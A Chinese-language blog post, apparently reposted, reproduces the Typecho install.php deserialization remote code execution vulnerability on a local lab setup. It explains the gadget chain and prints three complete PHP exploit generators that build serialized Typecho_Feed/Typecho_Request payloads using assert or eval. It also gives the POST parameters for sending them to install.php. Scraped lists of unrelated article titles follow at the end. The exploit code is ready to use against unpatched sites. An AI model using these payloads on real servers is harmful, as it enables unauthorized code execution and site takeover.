Typecho反序列化导致前台 getshell 漏洞复现

漏洞描述:

Typecho是一款快速建博客的程序,外观简洁,应用广泛。这次的漏洞通过install.php安装程序页面的反序列化函数,造成了命令执行。

影响范围:理论上这个漏洞影响Typecho 1.1(15.5.12)之前的版本

首先我还是记录一下敏感目录

http://127.0.0.1/typecho0.9/install.php

http://127.0.0.1/typecho0.9/install.php?finish&user=admin&password=admin

http://127.0.0.1/typecho0.9/admin/welcome.php

使用环境:

Phpstudy+win7虚拟机

Typecho_v1.0.14.tar.gz    https://pan.baidu.com/s/1jHQBKFk      (在里面找相应的名字)

漏洞成因:

Freebuf上的文章说的很清楚了,有两个需要理解的点:

第一个是__toString()魔法方法,在/install.php

__toString() //把类当作字符串使用时触发

这块利用Typecho_Db函数,跟进这个函数,/var/Typecho/Db.php,发现$adapterName定义的时候拼接了一个字符串,根据文章作者说,PHP是弱类型的语言,把一个字符串和一个类拼接的时候,会强制把类转换成字符串,所以就会触发传进来的这个类的toString方法。

第二个是__get()魔法方法,

__get() //用于从不可访问的属性读取数据

这块设置author由screenName确定,如果在类里面加上这个方法,我们给$item['author']设置的类中没有screenName私有属性就会执行该类的__get()方法。

通过__get()函数返回_applyFilter($value),将可执行代码赋值给$value触发漏洞。

漏洞复现过程:

这个漏洞复现就有一点坎坷了,起初我发现typecho里面有历史版本的下载,于是下载了一个0.9版本的,可是多次尝试仍以失败告终,后来在对比漏洞原理的时候,发现与存在漏洞的版本有出入,难不成历史版本作者也一直在更新。。。好吧,上网找了一个第三方的下了一个1.0.14,在报错的情况下完成了复现。

建站就不多说了,直接安装没有问题。安装成功如图

http://www.freebuf.com/vuls/152058.html

这位大牛漏洞原理讲的特别详细,建议看看。

反序列化漏洞要利用势必离不开魔术方法,作者收集的和PHP反序列化有关的PHP函数:
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发

Freebuf版EXP   http://www.freebuf.com/vuls/152058.html

<?php
class Typecho_Feed
{const RSS1 = 'RSS 1.0';const RSS2 = 'RSS 2.0';const ATOM1 = 'ATOM 1.0';const DATE_RFC822 = 'r';const DATE_W3CDTF = 'c';const EOL = "\n";private $_type;private $_items;public function __construct(){$this->_type = $this::RSS2;$this->_items[0] = array('title' => '1','link' => '1','date' => 1508895132,'category' => array(new Typecho_Request()),'author' => new Typecho_Request(),);}
}class Typecho_Request
{private $_params = array();private $_filter = array();public function __construct(){$this->_params['screenName'] = 'phpinfo()';$this->_filter[0] = 'assert';}
}$exp = array('adapter' => new Typecho_Feed(),'prefix' => 'typecho_'
);echo base64_encode(serialize($exp));
?>

View Code

knownsec版EXP  https://paper.seebug.org/424/

<?php
class Typecho_Feed
{const RSS1 = 'RSS 1.0';const RSS2 = 'RSS 2.0';const ATOM1 = 'ATOM 1.0';const DATE_RFC822 = 'r';const DATE_W3CDTF = 'c';const EOL = "\n";private $_type;private $_items;public function __construct(){$this->_type = $this::RSS2;$this->_items[0] = array('title' => '1','link' => '1','date' => 1508895132,'category' => array(new Typecho_Request()),'author' => new Typecho_Request(),);}
}class Typecho_Request
{private $_params = array();private $_filter = array();public function __construct(){$this->_params['screenName'] = 'phpinfo()';$this->_filter[0] = 'assert';}
}$exp = array('adapter' => new Typecho_Feed(),'prefix' => 'typecho_'
);echo base64_encode(serialize($exp));knownsec版EXP  https://paper.seebug.org/424/
<?php
class Typecho_Request
{private $_params = array();private $_filter = array();public function __construct(){// $this->_params['screenName'] = 'whoami';$this->_params['screenName'] = -1;$this->_filter[0] = 'phpinfo';}
}class Typecho_Feed
{const RSS2 = 'RSS 2.0';/** 定义ATOM 1.0类型 */const ATOM1 = 'ATOM 1.0';/** 定义RSS时间格式 */const DATE_RFC822 = 'r';/** 定义ATOM时间格式 */const DATE_W3CDTF = 'c';/** 定义行结束符 */const EOL = "\n";private $_type;private $_items = array();public $dateFormat;public function __construct(){$this->_type = self::RSS2;$item['link'] = '1';$item['title'] = '2';$item['date'] = 1507720298;$item['author'] = new Typecho_Request();$item['category'] = array(new Typecho_Request());$this->_items[0] = $item;}
}$x = new Typecho_Feed();
$a = array('host' => 'localhost','user' => 'xxxxxx','charset' => 'utf8','port' => '3306','database' => 'typecho','adapter' => $x,'prefix' => 'typecho_'
);
echo urlencode(base64_encode(serialize($a)));
?>

View Code

360安全客版EXP  http://bobao.360.cn/learning/detail/4610.html

<?php
class Typecho_Request
{private $_params = array('screenName'=>'eval(\'phpinfo();exit();\')');private $_filter = array('assert');
}
$payload1 = new Typecho_Request();
class Typecho_Feed
{private $_type = 'RSS 2.0';private $_items;public function __construct($x1){$this->_items[] = array('author'=>$x1);}
}
$payload2 = new Typecho_Feed($payload1);
$exp['adapter'] = $payload2;
$exp['prefix'] = 'c1tas';
echo base64_encode(serialize($exp));
?>

View Code

用post提交数据

url:http://192.168.198.128/Typecho1.0/install.php?finish=

Postdata:__typecho_config=前面脚本生成的

Referrer:http://192.168.198.128/Typecho1.0/

另一种方式是通过cookie提交

转载于:https://www.cnblogs.com/zhaijiahui/p/7763804.html

Typecho反序列化导致前台 getshell 漏洞复现相关推荐

  1. Apache Axis2 后台文件上传getshell 漏洞复现

    0x00 前言 Apache Axis2是一个Web服务的核心支援引擎.AXIS2对旧有的AXIS重新设计及重写,并提供两种语言Java及C的开发版本. 事实上AXIS2 不只为WEB应用程序提供We ...

  2. (帝国CMS)EmpireCMS v7.5前台XSS 漏洞复现

    漏洞范围 EmpireCMS 全版本 <7.5 漏洞POC http://*******/e/ViewImg/index.html?url=javascript:alert(/xss/) 漏洞复 ...

  3. 帝国CMS(EmpireCMS) v7.5 前台XSS漏洞复现

    一. 漏洞描述 该漏洞是由于JavaScript获取url的参数,没有经过任何过滤直接当作a标签和img标签的href属性和src属性输出 二. 漏洞复现 需要开启会员空间功能,登录后台开启会员空间功 ...

  4. Weblogic IIOP协议反序列化(CVE-2020-2551)漏洞复现

    为方便您的阅读,可点击下方蓝色字体,进行跳转↓↓↓ 01 漏洞描述 02 影响范围 03 利用方式 04 修复方案 01 漏洞描述 WebLogic是Oracle推出的application serv ...

  5. typecho反序列化漏洞复现

    typecho框架存在反序列化漏洞,利用此漏洞可执行任意代码 环境搭建 第一步 第二步 第三步 第三步 第四步 第五步 第六步 第七步 第八步 第九步 漏洞分析 typecho\build\insta ...

  6. FastJson1.2.24反序列化导致任意命令执行漏洞复现(CVE-2017-18349)

    #FastJson1.2.24反序列化导致任意命令执行漏洞(CVE-2017-18349)# 一.漏洞简介 Pippo是一款基于Java的Web框架.FastjsonEngine是其中的一个JSON处 ...

  7. fastjson 1.2.24 反序列化导致任意命令执行漏洞复现

    前言 fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,的作用就是把java对象转换为json形式,也可 以用来将json转换为java对象. fastjson在解析js ...

  8. 追洞小组 | Jdbc反序列化漏洞复现浅析

    目录 1.前言+靶场搭建  2.漏洞复现  3.漏洞分析 4.漏洞修复  5.心得 前言+靶场搭建 很多时候我们获得密码之后进入后台管理的界面,有些上传的漏洞或者sql注入无法getshell,但是如 ...

  9. php缓存注入,利用Thinkphp 5缓存漏洞实现前台Getshell

    原标题:利用Thinkphp 5缓存漏洞实现前台Getshell *本文原创作者:WindWing,属于FreeBuf原创奖励计划,禁止转载 0×00 背景 网站为了实现加速访问,会将用户访问过的页面 ...

最新文章

  1. 环视感知网络的多任务和单任务之争
  2. 喊了好久的AI落地究竟卡在哪里了?
  3. RethinkDB是什么?—— 面向文档的NOSQL数据库,MVCC+Btree索引,pushes JSON to your apps in realtime采用push思路,优化的ssd存储...
  4. 初识费用流 模板(spfa+slf优化) 餐巾计划问题
  5. JS设计模式—节流模式的实际应用
  6. cpout引脚是干什么的_电源IC欠压保护(Brown-out)功能介绍
  7. 微服务框架---搭建 go-micro环境
  8. 升级鸿蒙系统有没有翻车,被寄予厚望的华为鸿蒙系统,这次要翻车?原来并不是我们想的那样...
  9. 618选购手机正当时,好评率高达99%的手机了解一下!
  10. 测试-LoadRunner
  11. Linux学习之CentOS6下Mysql数据库的安装与配置
  12. python3安装步骤-Mac安装python3的方法步骤
  13. 【OpenCV新手教程之十四】OpenCV霍夫变换:霍夫线变换,霍夫圆变换合辑
  14. 基于vue2.0与追书神器api的小说阅读webapp
  15. 浅谈C语言函数调用与系统调用
  16. CCS 5.5的安装教程
  17. 为什么我不推荐去SAP培训机构参加培训?
  18. FICO 财务替代创建
  19. 使用RTOS系统如何选取大容量存储芯片NAND FLASH
  20. 与欢聚十年终成就百度 不吃老本的YY直播还能有“黄金时代吗?

热门文章

  1. Remoting 技术
  2. 超全的Go Http路由框架性能比较
  3. 小玩流媒体播放——HLS流媒体点播系统
  4. 10.Azure应用程序网关(上)
  5. C++学习笔记第二天:几个知识点
  6. Python(五)列表
  7. mongodb 3.2性能测试
  8. 《Android传感器开发与智能设备案例实战》——第2章,第2.4节安装ADT
  9. bootstrap的两种在input框后面增加一个图标的方式
  10. Android 动态刷新listview中的数据